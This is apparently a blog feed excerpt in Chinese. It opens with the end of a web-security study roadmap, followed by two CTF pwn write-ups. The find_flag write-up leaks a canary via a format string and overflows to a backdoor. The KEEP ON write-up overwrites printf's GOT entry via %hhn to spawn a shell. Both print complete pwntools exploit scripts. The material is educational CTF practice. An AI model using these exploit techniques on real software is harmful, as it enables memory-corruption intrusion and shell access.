- **[[客户端漏洞]]**：聚焦于在用户浏览器端发生的安全问题，包括XSS（反射/存储/DOM型）、CSRF、点击劫持、CORS配置错误等，这类漏洞的核心在于&quot;信任的滥用与边界的跨越&quot;
- **[[服务器端漏洞]]**：针对服务端逻辑与配置的安全问题，包括文件上传/包含、目录遍历、SSRF、XXE、反序列化等，这类漏洞的核心在于&quot;逻辑盲点与实现缺陷&quot;
- **[[逻辑与权限漏洞]]**：针对业务逻辑和访问控制机制的安全问题，包括越权访问（水平/垂直）、业务逻辑漏洞、认证绕过、会话管理缺陷等，这类漏洞的核心在于&quot;预期与实现的偏差&quot;

在**攻击链构建**层面，我们将所有相关的攻击手法系统性地整合在[[WEB攻击技术分类]]中。这个分类不仅包含了单一漏洞的利用，还涵盖了多漏洞组合攻击、权限提升、持久化维持等完整攻击链。值得注意的是，同一个漏洞类型可能对应多种不同的利用技术，而同一种利用技术也可能适用于不同类型的漏洞场景，这种交叉关系正是WEB安全深度的体现。

## 基础理论框架

任何深入的WEB安全研究都离不开扎实的基础理论支撑。

**协议与通信架构**是整个知识体系的基石：
- HTTP/HTTPS协议的理解不仅限于请求/响应格式，更重要的是把握状态管理、缓存机制、连接复用、协议升级等细节
- WebSocket、Server-Sent Events等现代通信协议的分析需要结合应用场景，理解其安全边界和攻击面
- 跨域策略（CORS、SOP）的研究需要深入浏览器安全模型，理解同源策略的例外情况和安全影响

**应用架构与实现技术**的深入理解同样是不可或缺的：
- 前后端分离架构的安全分析需要把握API设计、认证授权、数据验证等多层次防护
- 微服务与容器化环境下的安全需要考虑服务间通信、配置管理、服务发现等新维度
- 现代前端框架（React、Vue、Angular）的安全研究需要理解虚拟DOM、状态管理、组件通信等机制的安全影响

## 防护机制演进

随着攻击技术的不断演进，现代Web应用已经部署了多层次、纵深防御的防护机制。

**输入验证与输出编码**从简单的字符串过滤发展到语义感知的验证框架：
- 内容安全策略（CSP）从简单的指令控制演进到基于nonce/hash的细粒度策略
- 跨域资源共享（CORS）从简单的同源策略例外发展到预检请求、凭证控制等复杂机制
- 安全头部（HSTS、X-Frame-Options、X-Content-Type-Options）形成了立体的HTTP层防护体系

**运行时防护与监控机制**同样经历了显著的发展：
- Web应用防火墙（WAF）从简单的规则匹配演进到基于机器学习的异常检测
- 运行时应用自我保护（RASP）将安全逻辑嵌入到应用运行时环境中
- 漏洞扫描与代码审计工具从静态分析发展到动态污点跟踪、符号执行等高级技术

## 系统学习路径

构建完整的WEB知识体系需要遵循科学的学习路径。

建议从**[[HTTP协议与Web基础]]**入手，因为HTTP是Web通信的基石，通过这个入口可以建立起对请求/响应、状态管理、会话机制等核心概念的直观理解。

接下来应该系统学习**[[注入类漏洞]]**，这是最经典也是影响最大的漏洞类型，通过SQL注入的学习可以建立起对数据流、输入验证、防御机制的系统认知。

然后逐步扩展到**[[客户端漏洞]]**和**[[服务器端漏洞]]**，理解不同类型漏洞的特点和利用方式，最后深入**[[逻辑与权限漏洞]]**，这是最能体现安全思维深度的领域。

在掌握了基础漏洞原理后，应该系统学习**[[WEB攻击技术分类]]**中的各种手法，从简单的Payload构造到复杂的组合攻击，从手工测试到自动化利用，逐步建立起完整的攻击思维。

**实践环节**在整个学习过程中占据着关键位置。通过靶场练习、CTF题目、真实环境测试，不仅能够巩固理论知识，还能培养出对漏洞模式的敏感度和利用技巧的熟练度。建议在学习过程中保持&quot;原理理解-实践验证-反思总结&quot;的循环，每个技术点都要通过实际案例来深化理解。

## 知识网络建设

本知识体系的建设遵循模块化、层次化的原则。每个分类节点都承载着特定的知识领域，同时又通过交叉引用形成完整的知识网络。

**纵向深度**上，每个漏洞类型都按照&quot;原理-利用-防御-绕过&quot;的层次展开：
- 原理层：深入理解漏洞产生的根本原因
- 利用层：掌握漏洞发现和利用的技术手法
- 防御层：学习正确的防护措施和最佳实践
- 绕过层：了解防御机制的局限性和绕过方法

**横向关联**上，重点关注不同漏洞类型和技术之间的内在联系：
- SQL注入与XSS在输入验证方面有共通之处
- 文件上传与文件包含、命令注入可以形成攻击链
- 信息泄露可能为其他漏洞利用提供关键信息

**纵深防御**思维贯穿整个知识体系：
- 前端验证与后端验证的互补
- 输入过滤与输出编码的结合
- 漏洞防护与安全监控的联动

随着学习的深入，你会发现在WEB安全领域中，很多高级攻击都是基础漏洞的组合和延伸。因此，牢固掌握基础知识，理解其本质原理，比单纯追求新颖技巧更为重要。这个知识体系的设计正是为了帮助你建立起这样的认知结构，让每个技术点都能在整体框架中找到自己的位置和价值。

**学习建议**：
1. 从协议基础开始，建立对Web通信的完整认知
2. 按漏洞类型系统学习，注重理解而非记忆
3. 大量实践，将理论知识转化为实际能力
4. 关注新技术、新框架的安全影响
5. 培养攻击者思维和防御者思维的双重视角

---

*本文档是WEB知识体系的导航中心，具体技术细节请参阅各个分类笔记。建议在学习过程中保持笔记的更新和补充，让知识网络随着理解的深入而不断丰富和完善。*

**传送门**：
- [[HTTP协议与Web基础]]
- [[注入类漏洞]]
- [[客户端漏洞]]
- [[服务器端漏洞]]
- [[逻辑与权限漏洞]]
- [[WEB攻击技术分类]]
- [[WEB防御技术体系]]
- [[WEB工具与方法论]]</content:encoded></item><item><title>[深育杯 2021]find_flag</title><link>https://goosequill.erina.top/zh-cn/blog/202512151812/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202512151812/</guid><description>[深育杯 2021]find_flag 的导入笔记</description><pubDate>Mon, 15 Dec 2025 10:12:00 GMT</pubDate><content:encoded>&gt; [!note]
&gt; 关联入口：[[PWN题目索引]]
# find_flag - 题目复盘

&gt; [!info] 题目信息
&gt; - **比赛**：深育杯
&gt; - **题目**：find_flag
&gt; - **难度**：★★★☆☆
&gt; - **保护机制**：PIE，canary，保护全开
&gt; - **漏洞类型**：格式化字符串 / 栈溢出
&gt; - **利用技术**：ret2text

*前言：*
这道题记录两点：
	一是帮助自己搞清楚python的数据类型转换。因为有时候泄漏出来，还要转换正确的格式，而掌握python数据转换的方法，才能随机应变，遇事不问AI
	二是第一次做PIE题，对于下断点的方法有所区别。

## 漏洞分析
本题格式化字符串漏洞造成任意地址读，导致我们可以利用 `gets()` 函数栈溢出到后门函数。后门函数要自己去扫两眼，实在不行 `Ctrl + F12` 看字符串通过交叉引用也能找到。

## 解题步骤
### ① 静态分析
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512151847651.png)
这里都是显眼的漏洞，溢出到后门函数，所以利用的技术是 `ret2text` 但本题的考点就在于如何保障程序不崩溃的溢出和寻找到正确的溢出地点 **（PIE保护）** 。
既然思路清晰了，我们就去动调找偏移(offsite) 即可。

### ② 动态调试  
####  format定位
关于断点问题：
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512151856521.png)
比较方便记忆的一种方法是，使用 `$rebase(偏移)` 。这个是pwndbg自带的高级功能，专门为PIE设置的变量。只要把IDA中的偏移地址传给变量就好。
```txt
start
b *$rebase(0x13BB)
c
```
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512151901602.png)
```txt
%p..%p..%p..%p..%p..%p..%p..%p..
```
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512151906110.png)
简单数一下在第6个位置出现的，所以 `off_site = 6` 
#### canary泄漏
接下来去寻找canary在栈上的位置，emmm这种基本功就不带截图了，哪怕看IDA都知道
```cpp
char format[32]; // [rsp+0h] [rbp-60h] BYREF
_BYTE buf_0x40[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 canary; // [rsp+58h] [rbp-8h]
```
$60h - 8h = 58h \div 8h = 11$ 呢么canary的偏移就在 11 + 6 = 17。
直接 `strat` 后试一下就可以了 --&gt; `%17$p` 结果就是canary。
#### progrem_base泄漏
这里，我希望各位师傅有一个等同的概念：
- **栈地址 (Stack Address)** 和 **代码地址 (Code Address)** 是两个独立的内存区域。
- **PIE 保护**：是把代码段（Text Segment）的基地址随机化了。
- **ASLR 保护**：通常也会把栈的基地址随机化。

我们现在的rip指针指向栈中，所以对于寻找程序基地址，泄漏的不应该是栈帧的地址，呢对于我们对抗PIE毫无用处。正确寻找的，应该是 `.text` 段的任意地址！想想一般哪里一定会有？call指令做了哪些事情？
相信这样的引导，可以顺理成章的想到，泄漏 `save_rip` 地址！

|**栈内容**|**偏移 (相对于 RBP)**|**说明**|**是否对绕过 PIE 有用？**|
|---|---|---|---|
|...|...|本地变量 buffer|否|
|**Canary**|`rbp - 0x8`|你已经拿到了|否 (只用于绕过 Canary)|
|**Saved RBP**|`rbp`|上一层函数的栈底|**否** (这是你刚才想漏的)|
|**Saved RIP**|`rbp + 0x8`|**返回地址**|**是！(这就是目标)**|

对应的偏移很好算，就在canary向上两个偏移： `%19$p`

至此，本题就剩下最后一个问题需要解决了-----如何处理泄漏的数据？
#### 数据处理
先看一下泄漏的格式是什么
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512151928368.png)
这里对于接收字符的切割，我们可以用到 `recvn(count)` 函数，这个函数可以指定接收字符数的大小。
这里怕数错就用py的 `len()` 函数
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512151932450.png)

```python
io.recvn(19)
leak_text = io.recvn(14)
canary = io.recvn(18)
```
我这里 `io = porcess(&apos;./程序&apos;)` 

重点！！！
做 Pwn 题时，数据的“**形态变化**”是最核心的基本功，我们通常会在三种形态之间反复横跳：
1. **Integer (整数)**：用来做加减法计算（比如 `libc_base + system_offset`）。
2. **Bytes (字节流)**：用来发送 Payload（比如 `b&apos;\xef\xbe\xad\xde&apos;`）。
3. **String/Hex String (字符串)**：通常是程序输出的 Leak 内容（比如 `b&quot;0x7ffff...&quot;`）。

我们这里接收的就是 Hex String（字符串） ，对应的，需要转换为 Bytes（字节流）。
不过我们有 `p64()` 函数，所以这里，我们转换为中间过渡变量 Integer （整数）
过程还是使用的 `int(x,[base])` 函数，这里可选参数 `base` 就是指定进制的。
### ③ 利用开发
接下来就是完整的exp喽
```python
from pwn import *
context.log_level = &apos;debug&apos;
# io = remote(&apos;node4.anna.nssctf.cn&apos;,28117)
io = process(&quot;./find_flag&quot;)
print(f&quot;PID = {io.pid}&quot;)
io.sendlineafter(b&apos;What\&apos;s your name? &apos;,b&apos;%19$p%17$p&apos;)
io.recvuntil(b&apos;, &apos;)

save_rip = int(io.recvn(14),16)
canary = int(io.recvn(18),16)
print(save_rip)
print(canary)
progrem_base = save_rip - 0x146F
backdoor = progrem_base + 0x1229
ret = progrem_base + 0x13F8
payload = b&apos;a&apos; * 0x38 + p64(canary)
payload += b&apos;b&apos; *0x8 + p64(ret) +p64(backdoor)
io.recv()
io.sendline(payload)
io.interactive()
```

对了，这道题要栈对齐，注意 17行
### ④ 最终利用
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512151946575.png)


## 工具使用
IDA，pwndbg

## 关键收获
数据类型的转换

---

### 技术洞察
这里补录一些关于PIE调试的扩展，还有数据转换的扩展，用于我本人后期忘了回看使用，和本题已经无关。
#### PIE
##### 1. 使用 Pwndbg 的专属指令 (最推荐)
* **`piebase` 命令**
在程序运行起来后，直接输入 `piebase`，它会自动计算并打印出当前的基地址。
更强的是，你可以在计算时直接带上偏移。例如 IDA 里某个函数的偏移是 `0x1234`，你可以输入：
`piebase 0x1234`
它会直接告诉你该函数当前的真实绝对地址。
* **`brva` (Break Relative Virtual Address)**
这是最实用的命令。你不需要知道基地址，直接用 IDA 里的偏移下断点。
假设 `main` 函数或者某个漏洞点的偏移是 `0x1145`：
```bash
pwndbg&gt; brva 0x1145
```
Pwndbg 会自动捕获程序的基地址，加上这个偏移，帮你下好断点。
* **`breakrva`**

同 `brva`，是其全称。
##### 2. Pwntools 联动 GDB (写脚本时最常用)
在写 Exploit 脚本时，我们通常使用 `pwntools` 的 `gdb.attach` 来调试。Pwntools 非常智能，能够识别 PIE。
你可以直接在 Python 脚本中这样写：
```python
from pwn import *

context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;] # 或者你的终端设置
p = process(&apos;./pwn_binary&apos;)

# 方法 A: 使用 gdbscript
# $rebase 是 pwndbg/gef 识别的宏，代表当前基地址
gdb.attach(p, gdbscript=&apos;&apos;&apos;
    b *$rebase(0x1234) 
    c
&apos;&apos;&apos;)

# 方法 B: 直接用 pwntools 的 ELF 对象 (更优雅)
elf = ELF(&apos;./pwn_binary&apos;)
# context.binary = elf 
# 这种方式结合 gdb.attach 需要配合具体的地址计算，通常不如方法 A 在动调时直观
# 但你可以先算出地址再 attach (如果 PIE 没开或者是用 core dump)

```
**注意：** 如果你在 `process()` 之后立刻 `gdb.attach`，有时候基地址还没加载。通常建议先 `p.recvuntil(...)` 让程序跑一点点再 attach，或者在 gdbscript 里先 `start`。
##### 3. 系统级关闭 ASLR (最简单粗暴)
如果你只是想在本地调试分析逻辑，不想处理变来变去的地址，可以直接在系统层面关闭 ASLR。
虽然 PIE 是编译选项，但地址随机化依赖于内核的 ASLR。如果关闭 ASLR，PIE 程序通常会加载到一个**固定的基地址**（通常是 `0x555555554000` 这种）。
**在 Linux 终端执行：**
```bash
sudo sysctl -w kernel.randomize_va_space=0
```

* **优点：** 每次运行，地址都一样，可以直接用绝对地址下断点。
* **缺点：** 可能会让你忘记真实的漏洞利用环境是开启 ASLR 的，导致写 exp 时忘记计算基地址泄露（Leak）。**建议仅用于分析程序逻辑。**

##### 4. 这里的 offset 怎么看？
在 IDA Pro 中，确保你开启了 &quot;Line Prefixes&quot; (Options -&gt; General -&gt; Disassembly -&gt; Line prefixes)。
如果是一个 PIE 程序，IDA 显示的地址通常是 `0x1234` 这种很小的数（相对于基址 `0` 的偏移）。如果 IDA 显示的是 `0x401234` 这种大数，你可以通过 `Edit -&gt; Segments -&gt; Rebase program` 将基地址设为 `0`，这样看到的地址就是纯偏移量（Offset），直接配合 `brva` 使用非常舒服。

#### 数据转换
##### 1. 核心必杀技：
打包与解包 (Packing &amp; Unpacking)这是 Pwn 中最最常用的功能，没有之一。它解决了“如何把一个整数变成内存中的二进制形式”的问题。
* **`p64()` / `p32()` (Pack)**
* **作用**：把整数转换成小端序（Little-Endian）的字节流。
* **场景**：构造 Payload 时，把计算好的地址放进去。
```python
from pwn import *
# 比如 system 的地址是 0xdeadbeef
payload = p32(0xdeadbeef) 
# 结果: b&apos;\xef\xbe\xad\xde&apos; (自动化处理了字节序)

# 64位同理
payload = p64(0x7ffff7a0d000)

```
* **`u64()` / `u32()` (Unpack)**
* **作用**：把接收到的**原始字节流**（不是 &quot;0x...&quot; 这种字符串）转回整数。
* **场景**：当你用 `p.recv(8)` 读到了真实的内存地址数据（乱码一样的字符），需要转成整数来计算基址。

```python
# 假设你收到了 8 字节的 puts 真实地址
leak_data = p.recv(8) 
libc_base = u64(leak_data) - 0x080a30

```
##### 2. 处理泄漏数据的神器：
Padding 与对其在 64 位程序中，内存地址通常只有 6 个字节有效（例如 `0x00007f...`），高位是 `00`。如果你直接 `recv(6)` 然后 `u64()`，Python 会报错，因为 `u64` 必须吃满 8 个字节。
* **`ljust()` (Left Justify)**
* **作用**：在字节流右边补齐字符，直到达到指定长度。
* **场景**：修复 6 字节的 Leak 数据，或者填充栈溢出的垃圾数据。


```python
# 场景1：修复 Leak
# 收到 b&apos;\x10\x20\x30\x40\x50\x60&apos; (6字节)
leak = p.recv(6)
# 补齐到 8 字节，用 \x00 填充，然后再转整数
addr = u64(leak.ljust(8, b&apos;\x00&apos;))

# 场景2：栈溢出填充
# 填充 0x20 个 &apos;A&apos;
padding = b&apos;A&apos; * 0x20 
# 或者用 ljust (虽然直接乘更方便)
padding = b&apos;payload_start&apos;.ljust(0x20, b&apos;\x00&apos;)

```
这里其实常用在 `ret2libc` 技术中，用于保存泄漏的 libc地址。
```python
leaked_puts = u64(io.recvuntil(b&apos;\x7f&apos;)[-6:].ljust(8,b&apos;\x00&apos;))
print(f&quot;linked_puts: {hex(linked_puts)}&quot;)
```
##### 3. 十六进制与字节流
二者互转有时候程序输出的不是原始字节，而是通过 `printf(&quot;%p&quot;)` 打印出来的 ASCII 字符串（如 `b&quot;0x7ff...&quot;`）。
* **`int(x, 16)`**
* **作用**：你已经知道了，处理 ASCII 格式的十六进制字符串。
* **注意**：Python 3 的 `int()` 可以直接接受 `bytes` 类型，不用先 `.decode()`。

```python
p.recvuntil(b&quot;address: &quot;)
leak_str = p.recvline().strip() # 比如收到 b&apos;0x7ff...&apos;
addr = int(leak_str, 16)

```

* **`unhex()` / `enhex()` (Pwntools)**
* **作用**：处理很长的一串 Hex 字符串。
* **场景**：有些题目会给你一串 `deadbeef...` 这种文本，你需要把它变回 `\xde\xad...`。


```python
from pwn import *
data = unhex(&quot;48656c6c6f&quot;) # 变成 b&apos;Hello&apos;

```



#### 4. 字符串搜索与定位
在写自动化脚本时，你需要精确定位泄漏地址的位置。
* **`find()` / `index()`
* **作用**：在字节流中找特定子串的位置。

```python
data = p.recv()
# 假设泄漏的地址前面有 &quot;Leaked: &quot;
start_index = data.find(b&quot;Leaked: &quot;) + len(b&quot;Leaked: &quot;)
leak = data[start_index : start_index + 6]

```


* **`split()`**
* **作用**：按分隔符切分。
* **场景**：Canary 经常藏在输出的一堆数据中间。
```python
# 假设输出是: &quot;Welcome, user: [CanaryBytes] !&quot;
p.recvuntil(b&quot;user: &quot;)
canary = u64(p.recv(8))

```

#### 5. 终极懒人工具：`flat()`
如果你觉得手动拼接 Payload 很丑：
```python
payload = b&apos;A&apos;*40 + p64(pop_rdi) + p64(bin_sh) + p64(system)

```

你可以用 Pwntools 的 `flat`：

* **`flat()`**
* **作用**：自动把列表里的整数 `pack` 好，把字符串拼起来，生成最终 Payload。


```python
payload = flat([
    b&apos;A&apos; * 40,
    pop_rdi,  # 自动识别为整数并 p64
    bin_sh,
    system
])

```

---

##### 总结

| 场景 | 原始数据 (Input) | 目标数据 (Output) | 推荐函数 |
| --- | --- | --- | --- |
| **构造 Payload** | `0xdeadbeef` (整数) | `b&apos;\xef\xbe\xad\xde&apos;` (字节) | `p32()` / `p64()` |
| **处理内存泄漏** | `b&apos;\xef\xbe...&apos;` (Raw 字节) | `0xdeadbeef` (整数) | `u32()` / `u64()` |
| **处理 %p 输出** | `b&quot;0x7fff...&quot;` (文本) | `0x7fff...` (整数) | `int(data, 16)` |
| **修复6字节地址** | `b&apos;\x01...\x06&apos;` (6字节) | `0x000001...` (整数) | `u64(data.ljust(8, b&apos;\x00&apos;))` |
| **查找特定位置** | 大段垃圾数据 | 关键数据的索引 | `data.find(b&quot;key&quot;)` |

### 踩坑记录
又是要栈对齐的题
### 模式识别
开启PIE，canary，且有明显的栈溢出特点。此时就要想，如何任意地址读数据，为我们的栈溢出构造条件
## 关联题目
暂无
## 扩展思考
无

---

_创建时间：2025-12-15 18:12_</content:encoded></item><item><title>[HDCTF 2023]KEEP ON </title><link>https://goosequill.erina.top/zh-cn/blog/202512130011/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202512130011/</guid><description>[HDCTF 2023]KEEP ON  的导入笔记</description><pubDate>Fri, 12 Dec 2025 16:11:00 GMT</pubDate><content:encoded>&gt; [!note]
&gt; 关联入口：[[PWN题目索引]]
&lt;progress value=&quot;100&quot; max=&quot;100&quot; style=&quot;width: 100%;&quot;&gt;&lt;/progress&gt;
# KEEP ON  - 题目复盘

&gt; [!info] 题目信息
&gt; - **比赛**：HDCTF
&gt; - **题目**：KEEP ON 
&gt; - **难度**：★★★☆☆
&gt; - **保护机制**：NX
&gt; - **漏洞类型**：格式化字符串
&gt; - **利用技术**：GOT表改写

*前言：*
这个题其实不难，题目意图也很明显，每一个字节都不浪费才能成功。
我之所以要复盘这道题，是因为看其他师傅的wp都是用 `fmtstr_payload()` 函数去构造的 `printf()` 格式化任意地址写漏洞。但由于这是我写的第一道关于格式化字符串中任意地址写的漏洞，所以我想尝试手动构造，对此写了本篇复盘笔记。供各位师傅参考
## 漏洞分析
`printf()` 读取的是我们可写入的 `buf` ，这就造成了我们可以自己写格式化字符 `%s %p %d %n` 等等
先利用 `%p.%p.%p.%p.....` 找到偏移地址，然后精心构造payload，利用 `%k$hhn` 对 GOT表地址改写，写成我们的 `system@plt` 地址，然后在通过后面的 `read()` 函数溢出到 `next rip` 回到我们的 `vuln()` 进行二次payload。
由于第一次payload已经将 `printf@got` ---&gt; `system@plt` 所以当我们在 `buf` 中写入 **bin/sh\x00** 时，实际执行的是 `system(bin/sh)` 获取shell
## 解题步骤
### ① 静态分析
静态分析这里记录一下got表和plt表在IDA中的位置吧，方便一会“手搓”
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512130052286.png)
这里如图，该有的基本功。
```python
printf_got = 0x601028
system_plt = 0x4005E0
```
现在开始，我们的目标是把 `0x4005E0` 写入 `0x601028` ，如此，当我们二次payload时，调用 `printf@plt` 实际去调用的是 `system@plt` 。
#### 构造任意地址写
为了理清思路，我们将目标整理成一张“任务清单”：(如果这张表看不懂就问AI小端序的知识点)

| **目标地址 (Address)** | **目标字节 (Hex)** | **目标数值 (Decimal)** |
| ------------------ | -------------- | ------------------ |
| `0x601028`         | `E0`           | **224**            |
| `0x601029`         | `05`           | **5**              |
| `0x60102A`         | `40`           | **64**             |

但是如果按照上述手搓，会造成字符过长的问题。比如我们按序写入，第一个就是 `%224c%k$hhn` 
由于 1 byte = 8 bit ---&gt; 最大为  $2^8 -1 = 255$ 所以 `256 = 0` 呢么对于下一个就是 `%6c%k$hhn` 
最后一个便是 `%59c%k$hhn` 这样会造成 `%mc` 中 m 的数值过大，效率并不高，所以我们通常是从小到大构造：

所以我们依次按照 `0x601029` `0x60102A` `0x601028` 写入。
依次填充大小为 ： `%5c` `%59c`  `%160c` 
接下来，我们要知道，任意地址写的标准结构是：
\[ 格式化字符串部分 ] \[ 填充字符 ] \[ 地址1 ] \[ 地址2 ] \[ 地址3 ]
这里通过动态调试，知道基本的偏移量为 ： **6** （动调部分会记录）
所以 \[ 格式化字符串部分 ]  ： `%5c%11$hhn%59c%12$hhn%160c%13$hhn`
如何得出的 `k` 呢？我们简单数一下长度为 ： 33字节（提示：`%`、`c`、`$`、`h`、`n` 和数字都算 1 个字节）
根据栈空间8字节对齐，所以 \[ 填充字符 ] = $40 - 33 = 7$ 
对应的， \[ 地址1 ] \[ 地址2 ] \[ 地址3 ] 就只能填充在 40 , 48 , 56 的位置了，对应的栈帧图如下：
```txt
[ 栈生长方向：高地址 -&gt; 低地址 ]
      
Offset |  内存内容 (Memory Content)               |  解释
-------|------------------------------------------|-------------------------
 ...   |  (寄存器中的参数 RDI~R9 对应 Offset 1-5) | 
-------|------------------------------------------|-------------------------
       |                                          | &lt;--- 这里的内存地址是 payload 起点
 6$    | &quot;%5c%11$&quot; (8 bytes)                      | 格式化字符串 第 1 部分
-------|------------------------------------------|-------------------------
 7$    | &quot;hhn%59c%&quot; (8 bytes)                     | 格式化字符串 第 2 部分
-------|------------------------------------------|-------------------------
 8$    | &quot;12$hhn%1&quot; (8 bytes)                     | 格式化字符串 第 3 部分
-------|------------------------------------------|-------------------------
 9$    | &quot;60c%13$h&quot; (8 bytes)                     | 格式化字符串 第 4 部分
-------|------------------------------------------|-------------------------
 10$   | &quot;hnaaaaaa&quot; (8 bytes)                     | 格式化字符串结尾 + 填充 (Padding)
-------|------------------------------------------|-------------------------
       |  ========== 分界线 ==========            | 上面正好 5 个格子 (5 * 8 = 40 bytes)
-------|------------------------------------------|-------------------------
 11$   |  \x29\x10\x60\x00\x00\x00\x00\x00        | &lt;--- 目标地址 1 (0x601029)
-------|------------------------------------------|-------------------------
 12$   |  \x2A\x10\x60\x00\x00\x00\x00\x00        | &lt;--- 目标地址 2 (0x60102A)
-------|------------------------------------------|-------------------------
 13$   |  \x28\x10\x60\x00\x00\x00\x00\x00        | &lt;--- 目标地址 3 (0x601028)
-------|------------------------------------------|-------------------------
```
至此，我相信我讲的够清楚了，但这条payload是错误的❌
但为了一开始不把大家搞昏，后面的 踩坑记录 部分会记录如何发现是错误的且为什么要呢样修改。这里我把正确的payload贴在这里，如果能直接看懂，也就不用看我呢部分的废话了。
`%11$n%5c%12$hhn%59c%13$hhn%160c%14$hhnaa[0x60102B] [0x601029] [0x60102A] [0x601028]`
### ② 动态调试  
对于寻找偏移量，只需要写大量的 `%p` 即可，然后观察，这里就写8个吧
```python
%p.%p.%p.%p.%p.%p.%p.%p
#断点下在0x4007c8
b *0x4007c8
start
c
#输入上面呢串
```
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512131033755.png)
我这里为了方便一张图展示，所以两条拼接是反的，应该也能看出来，上面呢个是回显。我们分析绿框起的部分。可以看到，这就是第6个 `%p` 的结果，虽然不是栈地址，但发现重复字符 `0x70252e` 所以猜测是 `%p.` 的ASCII码。结果就是，小端序去看 `\x2e -&gt; . \x25 -&gt;% \x70 -&gt; p` ，由此判断偏移量是 6。
其他地方没啥需要动调的，我打算把篇幅放在 踩坑记录部分。

### ③ 利用开发
```python
from pwn import *
# io = process(&apos;./hdctf&apos;)
io = remote(&apos;node4.anna.nssctf.cn&apos;, 28306)
elf = ELF(&apos;./hdctf&apos;)
context(arch=&apos;amd64&apos;, os=&apos;linux&apos;, log_level=&apos;debug&apos;)

io.recvuntil(b&apos;name: \n&apos;)
printf_got = elf.got[&apos;printf&apos;]
system_plt = elf.plt[&apos;system&apos;]
vuln = elf.sym[&apos;vuln&apos;]
a = input()
payload = fmtstr_payload(6, {printf_got: system_plt})
payload = b&apos;%11$n%5c%12$hhn%59c%13$hhn%160c%14$hhnaa\x2B\x10\x60\x00\x00\x00\x00\x00\x29\x10\x60\x00\x00\x00\x00\x00\x2A\x10\x60\x00\x00\x00\x00\x00\x28\x10\x60\x00\x00\x00\x00\x00&apos;
io.send(payload)

payload_ret = b&apos;A&apos; * (0x50 + 0x08) + p64(vuln)
io.recvuntil(b&apos;keep on !\n&apos;)
io.send(payload_ret)
io.recvuntil(b&apos;name: \n&apos;)
# io.interactive()
io.send(b&apos;/bin/sh\x00&apos;)

io.interactive()
```
这里我payload手搓的小端序，所以你也可以写成另外一种形式：
```python
payload = b&apos;%11$n%5c%12$hhn%59c%13$hhn%160c%14$hhnaa&apos;
payload += p64(0x60102B)
payload += p64(0x601029)
payload += p64(0x60102A)
payload += p64(0x601028)
```
### ④ 最终利用
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512131042547.png)

## 工具使用
IDA,pwndbg,readelf
## 关键收获
学会了 `fmtstr_payload()` 的构造方法和构造思维模式。
### 技术洞察
遇到问题一定要动调去看看，实际的变化是否和脑中的想法一致！
### 踩坑记录
这里记录一下，为什么我们费尽千辛万苦构造好的第一个payload是错误的。我们不妨按照当初的想法，先看是否正确排列到栈上，如果排列好了，再去看看是否成功写入，写入前与写入后的变化。如此，就能发现问题所在了
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512131051710.png)
这张图显示的很详尽，我们看变化后的 `printf@got` 地址
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512131052315.png)
仔细看，任意地址写的漏洞是成功执行了，可惜对高位没有清零！造成地址解析错误。

| **字节偏移**  | **+0**   | **+1**   | **+2**   | **+3**   | **+4**   | **+5**   | **+6** | **+7** |
| --------- | -------- | -------- | -------- | -------- | -------- | -------- | ------ | ------ |
| **原本的值**  | `00`     | `01`     | `26`     | **`80`** | **`74`** | **`70`** | `00`   | `00`   |
| **我们修改了** | `E0`     | `05`     | `40`     | (未触碰)    | (未触碰)    | (未触碰)    | (未触碰)  | (未触碰)  |
| **我们在的值** | **`E0`** | **`05`** | **`40`** | **`80`** | **`74`** | **`70`** | `00`   | `00`   |

所以，就需要对高位地址全部清理，这里只需要清理3位。由于 `%hn` 写 2bytes大小 `%n` 写 4bytes大小，故此处用 `%n` 对 `0x60102B` 清零。
```
part1 = &quot;%11$n&quot;        # 5 bytes (Writes 0 to 0x60102B)
part2 = &quot;%5c%12$hhn&quot;   # 10 bytes (Writes 0x05)
part3 = &quot;%59c%13$hhn&quot;  # 11 bytes (Writes 0x40)
part4 = &quot;%160c%14$hhn&quot; # 12 bytes (Writes 0xE0)

# 总长度 = 5 + 10 + 11 + 12 = 38 bytes ---&gt; [ padding ] = 2 bytes
```
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512131059426.png)

然后各位师傅在打本地环境的时候，要注意本地是打不通的
- **指令：** `movaps` 是一个处理 SIMD（单指令多数据）的指令，常用于加速内存拷贝。    
- **死板的规则：** 这个指令**强制要求**操作的内存地址必须是 **16 的倍数**（也就是地址最后一位必须是 `0`）。
- **现状：**
    - `RSP`（栈指针）是 `0x7ffef12d4cc8`（结尾是 **8**）。
    - `RSP + 0x50` 是 `0x7ffef12d4d18`（结尾是 **8**）。
    - **8 不是 16 的倍数** → **BOOM! 💥**
        

**为什么会这样？** 这是 Ubuntu 18.04 及更新版本 GLIBC 中的常见现象。`system` 函数内部为了优化性能使用了 `movaps`。在正常的程序调用中，编译器会保证进入函数时栈是对齐的。但是，因为我们是用 **GOT Hijack** 强行把 `printf` 变成了 `system`，跳过了正常的函数序言（Prologue）准备，导致进入 `do_system` 时，栈刚好错开了 8 个字节。
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512131104796.png)
远端服务器不要求栈对齐。
### 模式识别
未对 `%n` `%hn` `%hhn` 禁用
题目存在写入 `buf` 再 `printf(buf)` 行为

## 关联题目
无
## 扩展思考
这题出的太死了，有且只有这一种，作者对于字节的把控度太细致了，不浪费一丁点多余字节。

---

